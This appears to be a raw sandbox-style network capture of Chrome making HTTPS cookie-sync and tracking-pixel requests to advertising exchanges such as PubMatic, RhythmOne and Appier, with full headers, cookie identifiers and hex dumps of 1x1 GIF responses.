2024-01-10 23:27:27 UTC	780	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://us-u.openx.net/w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fidsync.rlcdn.com%2F396846.gif%3Fserved_by%3Devergreen%26partner_uid%3D P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=Gj29/1caj2Jz2cgWXsmlck11XlQKEnC3di4CHt5kBGE=; Path=/; Domain=rlcdn.com; Expires=Thu, 09 Jan 2025 23:27:27 GMT; Secure; SameSite=None Set-Cookie: pxrc=CN/P/KwGEgUI6AcQABIGCLjrARAA; Path=/; Domain=rlcdn.com; Expires=Sun, 10 Mar 2024 23:27:27 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.4	50423	34.193.193.20	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	685	OUT	GET /map/ct=y/c=14701/tp=MTAI/tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4/gdpr=0/gdpr_consent= HTTP/1.1 Host: bcp.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_cc=ctst
2024-01-10 23:27:27 UTC	314	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Type: image/gif Content-Length: 49 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.40.53.64 Access-Control-Allow-Origin: * Server: Jetty(9.4.38.v20210224)
2024-01-10 23:27:27 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 ff 00 ff ff ff 00 00 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 02 00 2c 00 00 00 00 01 00 01 00 00 02 02 54 01 00 3b Data Ascii: GIF89a!,T;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.4	50420	35.194.66.159	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	873	OUT	GET /pm_match?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=A342B32A0BAA4852AA53FE42CB7195F6
2024-01-10 23:27:27 UTC	723	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:A342B32A0BAA4852AA53FE42CB7195F6&gdpr=0&gdpr_consent= Expires: Tue, 09 Jan 2024 23:27:27 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-01-10 23:27:27 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.4	50419	69.194.240.13	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	869	OUT	GET /usersync/tradedesk/bd6a219c-2538-477b-90ee-6d20c7860c4b HTTP/1.1 Host: sync.1rx.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22zdxidn%22%3A%221508%22%2C%22nxtrdr%22%3Afalse%7D
2024-01-10 23:27:27 UTC	784	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:27 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22nxtrdr%22%3Afalse%7D; path=/; expires=Thu, 09 Jan 2025 23:27:27 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.targeting.unrulymedia.com/csync/RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005?redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA%3D%26piggybackCookie%3DRX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 connection: close
2024-01-10 23:27:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.4	50417	23.88.86.2	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	814	OUT	GET /sync/pub?sid=161&suid=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0NDQmdGw9MjAxNjA=&piggybackCookie=$UID HTTP/1.1 Host: matching.truffle.bid Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:27 UTC	150	IN	HTTP/1.1 204 No Content Server: nginx/1.23.1 Date: Wed, 10 Jan 2024 23:27:27 GMT Connection: close Strict-Transport-Security: max-age=15768000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.4	50421	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	1539	OUT	GET /cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&gdpr=0&ovsid=LR8EUG12-1F-5JG4&us_privacy=1YNN&dpid=58160 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63
2024-01-10 23:27:27 UTC	660	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-mag=LR8EUG12-1F-5JG4~~63;Expires=Thu, 09 Jan 2025 23:27:27 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:27 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:27 GMT Connection: close
2024-01-10 23:27:27 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:27 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.4	50418	195.5.165.20	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	708	OUT	GET /cookiesync?gdpr=0&gdpr_consent= HTTP/1.1 Host: core.iprom.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:27 UTC	237	IN	HTTP/1.1 200 OK Vary: Accept-Encoding X-adserver-worker: leviathan-b5ef8f407f02@version_1.580 Connection: close X-server-arch: v2 Content-Type: image/gif Content-Length: 43 X-core-time: 0ms Date: Wed, 10 Jan 2024 23:27:27 GMT
2024-01-10 23:27:27 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.4	50427	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3773	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:27 UTC	709	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:27 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.4	50415	172.105.221.29	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	726	OUT	GET /pubmatic HTTP/1.1 Host: gocm.c.appier.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _auid=e9qoKPUsCQSvHM9C2yefZQ
2024-01-10 23:27:28 UTC	609	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 153 Connection: close Accept-Ch: Sec-CH-UA-Model,Sec-CH-UA-Platform-Version Cache-Control: no-store Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ P3p: CP="CUR ADM DEV TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: _auid=e9qoKPUsCQSvHM9C2yefZQ; Path=/; Domain=c.appier.net; Expires=Fri, 10 Jan 2025 23:27:28 GMT; HttpOnly; Secure; SameSite=None
2024-01-10 23:27:28 UTC	153	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 79 4d 44 49 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 65 39 71 6f 4b 50 55 73 43 51 53 76 48 4d 39 43 32 79 65 66 5a 51 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.4	50428	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3831	OUT	GET /AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=40f09b66-e671-4da3-b991-c14247c4cce6&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID} HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; 